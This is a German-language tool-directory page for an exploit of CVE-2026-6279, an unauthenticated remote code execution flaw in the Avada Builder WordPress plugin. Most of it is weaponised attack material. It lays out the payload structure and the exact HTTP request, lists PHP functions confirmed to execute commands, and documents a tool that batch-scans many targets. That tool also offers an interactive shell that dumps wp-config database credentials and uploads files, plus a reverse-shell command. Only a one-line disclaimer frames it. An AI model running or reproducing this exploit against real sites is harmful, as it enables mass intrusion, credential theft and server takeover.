Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-6279 — CVE-2026-6279: Avada (Fusion) Builder <= 3.15.2 – Nicht authentifizierte Remote-Code-Ausführung durch PHP-Funktionsinjektion über das 'render_logics'-Shortcode-Attribut über den Widget-AJAX-Handler (fusion-builder) | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-6279
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed TeamingPayload-Entwicklung
GitHubxxconi/cve-2026-6279

CVE-2026-6279

CVE-2026-6279: Avada (Fusion) Builder <= 3.15.2 – Nicht authentifizierte Remote-Code-Ausführung durch PHP-Funktionsinjektion über das 'render_logics'-Shortcode-Attribut über den Widget-AJAX-Handler (fusion-builder)

Repository anzeigen
17vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║ ║ Unauthenticated RCE via call_user_func() ║║ ╚══════════════════════════════════════════════════════════════╝ ```

CVE CVSS Auth Plugin Installs Python


📋 Zusammenfassung

FeldDetails
CVE IDCVE-2026-6279
BetroffenAvada Builder (Fusion Builder) <= 3.15.2
ThemeWordPress Avada Theme
Aktive Installationen900.000+
SchwachstellentypPHP Function Injection → Unauthenticated RCE
CVSS v3.19.8 (Critical)
VektorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authentifizierung❌ Nicht erforderlich
Benutzerinteraktion❌ Nicht erforderlich
Forscherxxcoin
Veröffentlichungsdatum2026-05-24

🔗 Angriffskette

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  1. NONCE-ERKENNUNG                                             │
│     wp_create_nonce('fusion_load_nonce') → UID 0               │
│     Wird auf öffentlichen Seiten mit dem Shortcode              │
│     [fusion_post_cards] oder [fusion_table_of_contents]         │
│     in JS eingefügt                                             │
│                          │                                      │
│                          ▼                                      │
│  2. UNAUTHENTICATED AJAX                                        │
│     wp_ajax_nopriv_fusion_get_widget_markup                     │
│     check_ajax_referer() → prüft nur die Gültigkeit des Nonce, │
│     authentifiziert den Benutzer nicht                          │
│                          │                                      │
│                          ▼                                      │
│  3. DESERIALISIERUNG                                            │
│     base64_decode(render_logics) → json_decode()               │
│     Keine Strukturvalidierung – JSON unter Angreiferkontrolle   │
│                          │                                      │
│                          ▼                                      │
│  4. call_user_func() – KEINE ALLOWLIST                          │
│     get_value() → wp_conditional_tags case                     │
│     call_user_func($value['function'], $value['args'])         │
│     Jede beliebige PHP-Funktion kann aufgerufen werden          │
│                          │                                      │
│                          ▼                                      │
│  5. RCE ✓                                                       │
│     system("id") → uid=1000(xxcoin)                         │
│     Vollständige Befehlsausführung mit Webserver-Rechten        │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

🧬 Technische Details

Schwachstellenpunkt

class-fusion-builder-conditional-render-helper.php — L1531:

root@kitploit:~
// VULNERABLE CODE
case 'wp_conditional_tags':
    $decoded = json_decode( base64_decode( $render_logics ), true );
    // ❌ Keine Allowlist-Prüfung
    return call_user_func( $decoded['function'], $decoded['args'] );

Payload-Struktur

root@kitploit:~
{
  "type": "wp_conditional_tags",
  "value": {
    "function": "system",
    "args": "id"
  }
}

Wird Base64-kodiert als POST-Feld render_logics gesendet.

HTTP-Anfrage

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
type=WP_Widget_Recent_Posts
widget_id=2
number=2

✅ Bestätigte RCE-Funktionen

FunktionArgumentErgebnisStatus
system()iduid=1000(xenon1337)✅ Erfolgreich
passthru()iduid=1000(xenon1337)✅ Erfolgreich
shell_exec()iduid=1000(xenon1337)✅ Erfolgreich
exec()iduid=1000(xenon1337)✅ Erfolgreich
file_get_contents()/etc/passwdroot:x:0:0:...✅ Erfolgreich
proc_open()——❌ Erfordert 2+ Argumente
popen()——❌ Erfordert 2+ Argumente

Hinweis: call_user_func($fn, $arg) akzeptiert naturgemäß nur ein Argument. Funktionen wie proc_open, popen, die 2+ Argumente erfordern, können über diese Schwachstelle nicht ausgelöst werden.


🔑 Warum kann der Nonce umgangen werden?

root@kitploit:~
1. Avada erzeugt fusion_load_nonce für UID 0 (öffentlicher Benutzer)
2. Auf Seiten mit dem Shortcode [fusion_post_cards] oder
   [fusion_table_of_contents] wird der Nonce in die JS-Ausgabe
   eingefügt → jeder kann ihn sehen
3. check_ajax_referer('fusion_load_nonce') überprüft nur die
   Gültigkeit des Nonces — nicht die Identität des Benutzers
4. Ergebnis: Jeder Besucher kann den Nonce abrufen und den
   Endpoint aufrufen

📁 Quellcode-Referenzen

DateiZeileFunktionBeschreibung
class-fusion-builder-conditional-render-helper.phpL1083should_render()render_logics Deserialisierung
class-fusion-builder-conditional-render-helper.phpL1531get_value()⚠️ call_user_func() — keine Allowlist
fusion-widget.phpL44—render_logics Verbindung
fusion-widget.phpL389—wp_ajax_nopriv AJAX-Handler-Registrierung
class-fusion-builder.phpL7551—Deterministische Nonce-Registrierung für UID 0

🚀 Installation & Verwendung

Voraussetzungen

root@kitploit:~
pip install requests packaging

Verwendung

root@kitploit:~
# Menü-Modus (Einzel- + Batch)
python3 CVE-2026-6279.py

# Ohne Protokoll (automatische Erkennung)
python3 CVE-2026-6279.py target.com

# Mit Protokoll
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com

# Mit Port
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080

Menü

root@kitploit:~
♡ [1]  Single target  ·  interactive shell
◆ [2]  Batch scan     ·  file exploit
✗ [3]  Exit

Interaktive Shell-Befehle

root@kitploit:~
shell> id                          # Befehl ausführen
shell> cd /var/www/html            # Verzeichnis wechseln
shell> upload local.php /tmp/x.php # Datei hochladen
shell> download /etc/passwd        # Datei herunterladen
shell> wp-config                   # DB-Informationen
shell> recon                       # System-Scan
shell> revshell 10.0.0.1 4444      # Reverse Shell
shell> exit                        # Beenden

Batch-Scan

root@kitploit:~
# targets.txt Format:
target1.com
http://target2.com
https://target3.com:8080
# Kommentarzeile (wird übersprungen)
root@kitploit:~
♡ targets file [targets.txt]:
♡ threads [10]: 30
♡ command [id]:
♡ output file [vuln.txt]:

🖥️ PoC-Ausgabe

root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║  CVE-2026-6279  ·  Avada Builder <= 3.15.2                  ║
║  Unauthenticated RCE via call_user_func()                    ║
║  Copyright © 2026 xxcoin  ·  Thanks: xxcoin 💜 ║
╚══════════════════════════════════════════════════════════════╝

★ Avada erkannt! (http://localhost:8888)
★ nonce: b6d7b084c2  (src: /blog/)  [shortcode✓]
★ AJAX: http://localhost:8888/wp-admin/admin-ajax.php
★ RCE: system() [B] [WP_Widget_Recent_Posts]
  • uid=1000(xxcoin) gid=1000(xxcoin) groups=1000

shell> uname -a
  • Linux debian 6.1.0-21-amd64 #1 SMP x86_64 GNU/Linux
shell> wp-config
  • DB_NAME=wordpress
  • DB_USER=wp_user
  • DB_PASSWORD=s3cr3t_p4ss!
  • DB_HOST=localhost

📊 CVSS v3.1

MetrikWert
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh
Gesamtpunktzahl9.8 — CRITICAL
root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

⚠️ Rechtlicher Hinweis

Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Zugriff auf unbefugte Systeme ist illegal. Die gesamte Verantwortung liegt beim Benutzer.


Telegram. https://t.me/+-GYq8ydL9AYwZGI8)

CVE-2026-6279 · Avada Builder <= 3.15.2 · xxcoin · 2026

Special Thanks: Shadow Girlfriend 💜

Tool herunterladen